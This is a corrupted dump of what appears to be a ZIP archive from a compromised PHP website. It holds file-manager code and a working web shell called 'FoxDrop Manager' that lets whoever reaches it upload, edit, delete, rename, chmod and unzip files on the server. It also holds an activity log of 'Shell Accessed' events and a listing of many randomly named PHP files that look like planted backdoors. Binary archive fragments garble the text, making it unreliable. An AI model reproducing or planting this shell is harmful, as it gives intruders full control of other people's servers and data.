$img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'swallowable
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PKJm\e 702dt.phpnu[🗑️ Deleted: " . htmlspecialchars($_GET['delete']) . "

"; } // === Rename if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $from = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_from']); $to = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_to']); if (file_exists($from)) { rename($from, $to); echo "

✏️ Renamed successfully.

"; } } // === Permission Changer if (isset($_POST['perm_target']) && isset($_POST['perm_value'])) { $target = $dir . DIRECTORY_SEPARATOR . basename($_POST['perm_target']); $perm = intval($_POST['perm_value'], 8); if (file_exists($target)) { chmod($target, $perm); echo "

🔐 Permissions changed to " . decoct($perm) . "

"; } } // === Zip Folder if (isset($_GET['zip'])) { $zipTarget = $dir . DIRECTORY_SEPARATOR . basename($_GET['zip']); $zipFile = $zipTarget . '.zip'; if (is_dir($zipTarget)) { $zip = new ZipArchive(); if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($zipTarget, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $pathInZip = substr($file->getPathname(), strlen($zipTarget) + 1); $zip->addFile($file->getPathname(), $pathInZip); } $zip->close(); echo "

📦 Zipped: " . htmlspecialchars(basename($zipFile)) . "

"; } } } // === Unzip File (Updated to extract directly into the current directory) if (isset($_GET['unzip'])) { $zipPath = $dir . DIRECTORY_SEPARATOR . basename($_GET['unzip']); if (is_file($zipPath) && pathinfo($zipPath, PATHINFO_EXTENSION) === 'zip') { $zip = new ZipArchive(); if ($zip->open($zipPath)) { // Extract directly to the current directory $zip->extractTo($dir); $zip->close(); echo "

📂 Unzipped to " . htmlspecialchars($dir) . "

"; } } } // === Edit File if (isset($_GET['edit']) && isset($_GET['go'])) { $targetFile = $dir . DIRECTORY_SEPARATOR . basename($_GET['edit']); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content_save'])) { file_put_contents($targetFile, $_POST['content']); echo "

💾 Saved.

"; } $code = @file_get_contents($targetFile); echo "

✏️ Editing: " . htmlspecialchars($_GET['edit']) . "

"; echo "


🔙 Back"; exit; } // === Upload if (isset($_FILES['dropfile'])) { $to = $dir . DIRECTORY_SEPARATOR . basename($_FILES['dropfile']['name']); move_uploaded_file($_FILES['dropfile']['tmp_name'], $to); echo "

📤 Uploaded: " . htmlspecialchars($_FILES['dropfile']['name']) . "

"; } // === Create Folder if (isset($_POST['mkfolder']) && $_POST['mkfolder']) { $folder = $dir . DIRECTORY_SEPARATOR . basename($_POST['mkfolder']); if (!file_exists($folder)) { mkdir($folder); echo "

📁 Folder created.

"; } else { echo "

❌ Already exists.

"; } } // === UI === echo ""; echo "

🗂️ FoxDrop Manager

Path: "; $steps = explode(DIRECTORY_SEPARATOR, $dir); $build = ''; foreach ($steps as $seg) { if ($seg === '') { $build .= DIRECTORY_SEPARATOR; echo "/"; continue; } $build .= $seg . DIRECTORY_SEPARATOR; echo "" . htmlspecialchars($seg) . "/"; } echo "


"; // === File Table === echo ""; foreach ($items as $item) { if ($item === '.') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; $size = is_file($path) ? filesize($path) : '-'; $perm = substr(sprintf('%o', fileperms($path)), -3); $permColor = is_writable($path) ? '#4afc4a' : '#fff'; $name = is_dir($path) ? "📁 " . htmlspecialchars($item) . "" : "📄 " . htmlspecialchars($item) . ""; $actions = []; if (is_file($path)) { $actions[] = "Edit"; } $actions[] = "Rename"; $actions[] = "Delete"; if (is_dir($path)) { $actions[] = "ZIP"; } elseif (strtolower(pathinfo($item, PATHINFO_EXTENSION)) === 'zip') { $actions[] = "Unzip"; } echo ""; } echo "
NameSizePermissionsActions
$name $size $perm " . implode(' | ', $actions) . "

"; // === Forms echo "
"; echo "
"; echo "
"; echo "
"; ?> PKJm\iiindex-20260307223847.phpnu[PKVm\u^samurai_activity.lognu[[2026-03-13 08:10:09] IP: 216.73.216.181 | Action: Shell Accessed | Target: 216.73.216.181 | Status: info | UA: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c [2026-03-13 08:54:36] IP: 57.141.2.30 | Action: Shell Accessed | Target: 57.141.2.30 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler) PKJm\Ǵq7q7 oiq2p.phpnu[PKJm\ 7about.phpnu[PKJm\oe** 8bepyo.phpnu[PKJm\f(EE 9 f3wzk.phpnu[PKJm\USS KOhpmo7.phpnu[PKJm\ii index.phpnu[PKJm\Q0,0, y95r6k.phpnu[PKJm\~\ݸ5 5 %z8op2.phpnu[PKJm\z6 P32zj6q.phpnu[PKJm\dKdK 966hwey.phpnu[PKJm\a]t֭֭ ցservice.phpnu[PKJm\y /about.PHPnu[PKJm\|b 1fklxj.phpnu[PKJm\Ύ=// <zkmqn.phpnu[PKJm\ l8x2gj.phpnu[PKJm\|Y EE }p20xj.phpnu[PKJm\e xa 702dt.phpnu[PKJm\ii index-20260307223847.phpnu[PKVm\u^A samurai_activity.lognu[PK